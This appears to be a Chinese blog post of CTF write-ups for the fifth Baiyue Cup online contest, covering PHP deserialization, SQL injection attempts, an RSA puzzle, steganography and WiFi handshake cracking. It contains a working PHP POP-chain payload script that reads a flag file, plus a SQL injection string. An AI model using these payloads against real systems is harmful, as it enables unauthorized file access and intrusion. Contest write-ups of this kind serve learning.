admin管理员组

文章数量:1581630

Web

BabyPHP

一访问容器就给了PHP代码

<?php
error_reporting(1);
class Read {
    private $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'解析开始'."<br>";
    }
   
    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }

    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }  
}

if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}
?>

很明显是反序列化利用, 但是对这块不熟悉, 所以一开始给每个类都单独构造Payload, 但是都不能用,
后面根据题目百度了下, 找到一个参加其他比赛的师傅写的WP, 同时也发现是原题…
在写之前又搜了一下, 发现2018SWPU也有一题类似的题目,
最终构造Payload的脚本如下:

<?php
class Read {
    private $var = 'fllllllaaaaaag.php';
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $params;
}

$c = new Read();
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str' => $b);
$a = new Show();
$a->source = $d;

echo urlencode(serialize($a));

踩了好几次坑, 一开始用这个脚本构造的Payload还不能用, 后面在本地调试, 发现是文件不存在导致的.

大致归纳下, 这题主要是利用了PHP类的魔术方法, 一开始构造的几个Payload之所以不能用, 就是因为没触发到.

  • __invoke: 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
  • __toString: 对象被当做文本使用前调用.
  • __get: 读取不可访问属性的值时,__get() 会被调用。
  • __wakeup: 反序列化生成对象时调用.
  • __sleep: 与__wakeup相反, 执行序列化操作前调用.

BabyGame

这题试了很多技巧都不行, 加上自己对SQL注入不是特别会, 就更解不出了(至少看隔壁学校的大佬也没解出)

试着登录admin, 登录失败, 但是不告诉具体原因,
注册admin, 提示用户已存在, 试着用admin' or '1'='1绕过,
但是没提示用户存在, 注册成功, 然后到登录后的页面,

看上去是对'进行了转义, 测试了"同样也被转义.

弄到这暂时没什么思路, 也没有敏感文件泄漏,
额不对, 还有一个tools.php,

但无论怎么测试都提示no result, 也没有sql注入的样子, 只好弃坑=-=.

转回去去注册一个正常账户, 发现登录后出现了一个flag链接, 点进去显示了flag, 但是并不正确,

拿去解密后发现是对自己的账户信息做了md5操作.

同时发现出现了个msgid, 但是并没有什么注入点.

根据flag出现的情况, 推测是在欢迎页做了未过滤的sql查询, 成功时才输出指向链接,
但是想想总有点不对, 如果是这样, 那输出的用户名不应该有转义才对.

最后平台放了两次提示, 然而并没有什么卵用, 第一个上午刚做就猜到了, 第二个看不懂意思.jpg

所以, “等一个官方WP or 复现”.jpg


PWN两题都不会做, 只有隔壁大佬做出来第一题,


Crypto

Math

这一题考的是RSA, 同样没做出来

from libnum import *
from Crypto.Util.number import *
from gmpy2 import next_prime
from flag import flag

flag = s2n(flag)
a = getRandomRange(pow(10, 499), pow(10, 500))
b = getRandomRange(pow(10, 499), pow(10, 500))
p = a * pow(10, 500) + b
q = b * pow(10, 500) + a
print p * q
e = 65537
c = getRandomInteger(100)
p = next_prime(p + c)
q = next_prime(q + c)
n = p * q
print n
flag = pow(flag, e, n)
print flag

给的输出

37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368534492698712183905213300675019880169669159964289135274268951386122314246699412166656323475268623240778461031327966634628420986855022944785421496251349486099392411145566566437986155875600117002222032846697544656901210849382567936904958595228620017066673190455548617917273881089052468844830306632804733848750820391807100094948772492402636422551350516389981409116121666282434777976293668265700614707939438561465158100805697922866599682141928964956895065357677209698826476508887966210560085802544989199042295263908880764987497015388183619829914488242002252489035055312547747792033076017959711401664024465093007341377103124755426567781873434171576297409356302054965976819782564966567852321032108507478998871390301458143582617644492262165902951270805160376459476885522275531457938661136508391452032625051782015102833218959697470722331233350397631435041061401412630047713991858871735035714326218833998760244965866341087147750123869855038366992182962371334384526411144813368418246803652025254206189223834187719880012103660703380187226220860
37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368537631451824008445150593322916621649220131918968381060182780056625981084043051299820111816407714077085179863978735943069017108793879580065214612325438873475463670028900700692331942940752758392673078381358679392924527642317471983718497708036815480999969876652686414859011578133113730930542513696962965675847727315009182439824295556392013537952480748938928408290671107333656277905126915134701713932190005567660746756601077906025437341247344713253422720837604831207936303137369977025954243957891577406266667226864293421045998499026349073973676803568161225217742238807019077558158505566968246373749202724739826733649675118977232613022754175080279658222551375134841038576853604493545070340911086664690452703289923302725433846272032435289554345937247024060157309603467510583043117535674355137280615256893616267247008324272285381171004240649782585733382066689782757882726882857063752626302302445421988032917071576855484653938018800413715950664940531918933498765096986757431159488734247146715664409455285656746712809269599736842704425915921
37184996108096167233025618263505757153157343097156888579791591678112798126919291822117280574121886798076450090988956975942694991748710209332101082905159257360206646364269758967180975253962825625943696420172327932961625085719678913462057142665457670366149034781204452807008455874986258694889544297820868505385801547530471600056912582928858038944066247597538813265625994454536879142936629149425871030836276097612443965190900147217177268273320302968487288289500066066413057425060274495415705347775452378126322700828792271046010263910271491830733016822853700053524052302275780619672110356657862368196424416287062999248715568046365255257809392739368556770263662626707604374137827085932252100188620626033333675559976574305831148764403296339508944436482748296238651395448197460974036742794395872850277918173344274773788864080695651830624419146757315446431269176300228703998177892985982388577831521216077129479998846266657008240203501406588349129137285647942569321607846013589344817050392650458477423460119297842938591617558953789224928692831245011187614395138305116091095517452781922364575105441246935183151829079785593965595659385764661764536534314109799011221376335166825363745468702289956019189691732841787948543771767552418889945812912952844388135828118570454948482278617042826378637743128777368607901501702388930246381982139634661483616105908175895785968677045741141086145187314146524800384426347813569795767829229399693985449649456073846347751123890326703399205472967773736717062282465272801543616851680865089979007872017576434756441977097817456958807489726277542047228572876003573562220328683701400744899648300227399574965938796721337143228465728576794734241148236493866791812420360737798058399689694043617192496134725512211166304050577572889549976404923415229865890151512800020112421854251196729060158218415862519607464231622361159436715876677889457900668694738243191441657050304632774189736769141333132873006921328644347784442609254582911864794147017850676177776316795316841373510481580805823659839

给了n, e, 没有d, 坑在于n给的超大, 刚会解一点基础题几天, 不会做.
fact那边的分解状态是C, yafu也分不出来,

转回去看flag, 发现是pow(flag, e, n), 即flag ^ e % n, 而flags2n(真正的flag),
于是想着看看能不能把flag ^ e求出来, 于是写了个跑几小时还没出来的脚本:

from libnum import *

flag = 37184996108096167233025618263505757153157343097156888579791591678112798126919291822117280574121886798076450090988956975942694991748710209332101082905159257360206646364269758967180975253962825625943696420172327932961625085719678913462057142665457670366149034781204452807008455874986258694889544297820868505385801547530471600056912582928858038944066247597538813265625994454536879142936629149425871030836276097612443965190900147217177268273320302968487288289500066066413057425060274495415705347775452378126322700828792271046010263910271491830733016822853700053524052302275780619672110356657862368196424416287062999248715568046365255257809392739368556770263662626707604374137827085932252100188620626033333675559976574305831148764403296339508944436482748296238651395448197460974036742794395872850277918173344274773788864080695651830624419146757315446431269176300228703998177892985982388577831521216077129479998846266657008240203501406588349129137285647942569321607846013589344817050392650458477423460119297842938591617558953789224928692831245011187614395138305116091095517452781922364575105441246935183151829079785593965595659385764661764536534314109799011221376335166825363745468702289956019189691732841787948543771767552418889945812912952844388135828118570454948482278617042826378637743128777368607901501702388930246381982139634661483616105908175895785968677045741141086145187314146524800384426347813569795767829229399693985449649456073846347751123890326703399205472967773736717062282465272801543616851680865089979007872017576434756441977097817456958807489726277542047228572876003573562220328683701400744899648300227399574965938796721337143228465728576794734241148236493866791812420360737798058399689694043617192496134725512211166304050577572889549976404923415229865890151512800020112421854251196729060158218415862519607464231622361159436715876677889457900668694738243191441657050304632774189736769141333132873006921328644347784442609254582911864794147017850676177776316795316841373510481580805823659839
e = 65537
n = 37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368537631451824008445150593322916621649220131918968381060182780056625981084043051299820111816407714077085179863978735943069017108793879580065214612325438873475463670028900700692331942940752758392673078381358679392924527642317471983718497708036815480999969876652686414859011578133113730930542513696962965675847727315009182439824295556392013537952480748938928408290671107333656277905126915134701713932190005567660746756601077906025437341247344713253422720837604831207936303137369977025954243957891577406266667226864293421045998499026349073973676803568161225217742238807019077558158505566968246373749202724739826733649675118977232613022754175080279658222551375134841038576853604493545070340911086664690452703289923302725433846272032435289554345937247024060157309603467510583043117535674355137280615256893616267247008324272285381171004240649782585733382066689782757882726882857063752626302302445421988032917071576855484653938018800413715950664940531918933498765096986757431159488734247146715664409455285656746712809269599736842704425915921

while True:
    try:
        print(n2s(flag))
        break
    except:
        flag += n

可能是做久了脑子有点胀, 最后到快结束的时候, 才想起来反推回去是不可能解得, 公钥加密, 解密要靠d(抱头痛哭)

第一行还有个p * q的输出, 把它拿去大数分解, 只能得到其中一个,

但是现在想想, 拿去大数分解根本就不对啊, 这两个又不是素数(mdzzz)

好在这题有大佬解出来了, 明天去问一问(希望会给把)Orz_


被第一题还有其他类的题目折腾死, 有点没兴趣解第二题, 而且感觉大概率也解不出来emm


Misc

key


这题文件不大, 所以应该没有带压缩包,
直接查看文件内容, 发现在末尾有明文Key: ISEEU!
用Stegsolve做了几波操作都没什么发现,
最后搜了下前面的明文, 发现另一个比赛的wp…

说flag数据其实是钥匙上所有颜色的十六进制值, 然后再和key做异或.
但是还是自己做一遍(其实是感觉题目可能会有点变化), 然后发现没有PS, 于是让队友帮忙搞一下了,
最后发现颜色数据还是一样的, 也就是说不用做什么操作, 直接把别人的flag复制粘贴就行…

哈尔的移动城堡

这题真的好坑, 最后还是通过丢人的py完成了…
给了两个文件,

102%的文件头是反过来的PNG, 修改后即可显示成图片,

显示是这样的

但是应该没有这么简单, 拿去binwalk跑了下, 发现还有压缩包

直接用压缩软件打开zip显示了两个文件,

不过用binwalk分离出来是空的, 用foremost分离出一个png和zip,
但是png图片大小不一样, 而zip无法打开, 不清楚是不是需要修复.

后面用010, 通过zip文件头把zip和png分离, png正常, 但是大小不正常, zip打开后只有一个文件,

感觉可以用明文攻击来一发, 但是(吐血)

先这样吧, 赶(要交上去的)wp要紧,
(补) 最后问大佬也不理我, 队友倒是整出那个二维码, 不过压缩包分离不清楚, 有机会再研究吧.

签到

题目描述: cGxlYXNlIHN1Ym1pdDogZmxhZ3toZWxsb19ieWJ9
猜过去是base64, 解了后马上提交, 可惜题出来慢了, 没有一血

WireLess

给了两个文件:

README: 已知密码格式是6666xxxx
WiFi.pcap打开是一堆认证包, 没有头绪, 放kali用aircrack-ng跑,

看到最后面有个flag{05password-f059-448f}, 根据readme的描述, 猜测password要替换成6666xxxx.

然后就需要对密码进行爆破, 但是因为没有字典, 偷懒, 就又去搜了, 然后果不其然, 又是一个wp…
不过写wp的时候还是要复现下,

所以flag是flag{0566668912-f059-448f}


逆向的话, 有五题, 全不会, 其中三题靠搜索, 诶=-=

放下参考链接:

  • https://blog.csdn/KingZhang2000/article/details/100734483
  • https://blog.csdn/KingZhang2000/article/details/100625560
  • https://blog.csdn/KingZhang2000/article/details/100654580

最后等到一两个隔壁大佬给的wp, 不过没精力复现了, 头大

本文标签: 线上第五届百越杯wp